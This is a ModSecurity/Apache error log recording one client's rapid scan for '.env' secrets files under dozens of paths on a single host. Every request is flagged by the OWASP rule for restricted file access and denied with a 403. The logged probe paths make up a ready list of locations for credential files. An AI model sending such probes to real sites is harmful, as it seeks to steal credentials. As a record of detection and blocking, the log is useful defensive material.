[Sun Oct 25 22:08:45.951636 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at62Lfv3Bqe9ulig-nTwpQAAAAk"]
[Sun Oct 25 22:08:45.951890 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/dashboard/.env"] [unique_id "at62Lfv3Bqe9ulig-nTwpQAAAAk"]
[Sun Oct 25 22:08:46.000424 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj3QAAAAc"]
[Sun Oct 25 22:08:46.000595 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /auth/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at62LbZn9l1fDWzMN3C80QAAAAQ"]
[Sun Oct 25 22:08:46.000671 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj3QAAAAc"]
[Sun Oct 25 22:08:46.000752 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at62LbZn9l1fDWzMN3C80QAAAAQ"]
[Sun Oct 25 22:08:46.000917 2026] [security2:error] [pid 2943041:tid 2943041] [client 34.81.7.133:40246] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at62LTmSjUI1p_l1ZoRj3QAAAAc"]
[Sun Oct 25 22:08:46.000978 2026] [security2:error] [pid 2942316:tid 2942316] [client 34.81.7.133:40288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at62LbZn9l1fDWzMN3C80QAAAAQ"]
[Sun Oct 25 22:08:46.001985 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at62LqU3Viu-sjPfXm3rOAAAADM"]
[Sun Oct 25 22:08:46.002081 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at62Lgdfoouc32iEpvzFigAAAA8"]
[Sun Oct 25 22:08:46.002136 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at62LqU3Viu-sjPfXm3rOAAAADM"]
[Sun Oct 25 22:08:46.002225 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at62Lgdfoouc32iEpvzFigAAAA8"]
[Sun Oct 25 22:08:46.002371 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at62LqU3Viu-sjPfXm3rOAAAADM"]
[Sun Oct 25 22:08:46.002526 2026] [security2:error] [pid 2936921:tid 2936921] [client 34.81.7.133:40214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at62Lgdfoouc32iEpvzFigAAAA8"]
[Sun Oct 25 22:08:46.003345 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /assets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at62Li7g7KvJoU2B-eLMVgAAAAY"]
[Sun Oct 25 22:08:46.003511 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at62Li7g7KvJoU2B-eLMVgAAAAY"]
[Sun Oct 25 22:08:46.003725 2026] [security2:error] [pid 2926323:tid 2926323] [client 34.81.7.133:40222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/assets/.env"] [unique_id "at62Li7g7KvJoU2B-eLMVgAAAAY"]
[Sun Oct 25 22:08:46.004466 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /internal/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at62LgIuNp5K2_eTlG2KkwAAAC0"]
[Sun Oct 25 22:08:46.004922 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at62LgIuNp5K2_eTlG2KkwAAAC0"]
[Sun Oct 25 22:08:46.005155 2026] [security2:error] [pid 2938938:tid 2938938] [client 34.81.7.133:40146] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/internal/.env"] [unique_id "at62LgIuNp5K2_eTlG2KkwAAAC0"]
[Sun Oct 25 22:08:46.023079 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at62LtYvsK9lv2bQxMABmAAAABA"]
[Sun Oct 25 22:08:46.023225 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at62LtYvsK9lv2bQxMABmAAAABA"]
[Sun Oct 25 22:08:46.023460 2026] [security2:error] [pid 2934778:tid 2934778] [client 34.81.7.133:40190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at62LtYvsK9lv2bQxMABmAAAABA"]
[Sun Oct 25 22:08:46.050870 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /static/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at62LoCf_dn79BGji-V_AgAAAAg"]
[Sun Oct 25 22:08:46.051078 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at62LoCf_dn79BGji-V_AgAAAAg"]
[Sun Oct 25 22:08:46.051344 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/static/.env"] [unique_id "at62LoCf_dn79BGji-V_AgAAAAg"]
[Sun Oct 25 22:08:46.059542 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at62LhaKu-Zjs56a5J4sAgAAAAo"]
[Sun Oct 25 22:08:46.059705 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at62LhaKu-Zjs56a5J4sAgAAAAo"]
[Sun Oct 25 22:08:46.059974 2026] [security2:error] [pid 2925278:tid 2925278] [client 34.81.7.133:40156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at62LhaKu-Zjs56a5J4sAgAAAAo"]
[Sun Oct 25 22:08:46.101218 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at62LjmmX3asvCDITlDxdgAAAAA"]
[Sun Oct 25 22:08:46.101422 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at62LjmmX3asvCDITlDxdgAAAAA"]
[Sun Oct 25 22:08:46.101704 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40272] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at62LjmmX3asvCDITlDxdgAAAAA"]
[Sun Oct 25 22:08:46.159506 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at62LpHtMtN5e4U4U0bifAAAAAI"]
[Sun Oct 25 22:08:46.159738 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at62LpHtMtN5e4U4U0bifAAAAAI"]
[Sun Oct 25 22:08:46.160035 2026] [security2:error] [pid 2930612:tid 2930612] [client 34.81.7.133:40210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at62LpHtMtN5e4U4U0bifAAAAAI"]
[Sun Oct 25 22:08:46.198188 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at62Lvv3Bqe9ulig-nTwpgAAAAk"]
[Sun Oct 25 22:08:46.198424 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at62Lvv3Bqe9ulig-nTwpgAAAAk"]
[Sun Oct 25 22:08:46.198776 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at62Lvv3Bqe9ulig-nTwpgAAAAk"]
[Sun Oct 25 22:08:46.210603 2026] [security2:error] [pid 2938952:tid 2938952] [client 34.81.7.133:40232] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at62LqU3Viu-sjPfXm3rOQAAADM"]
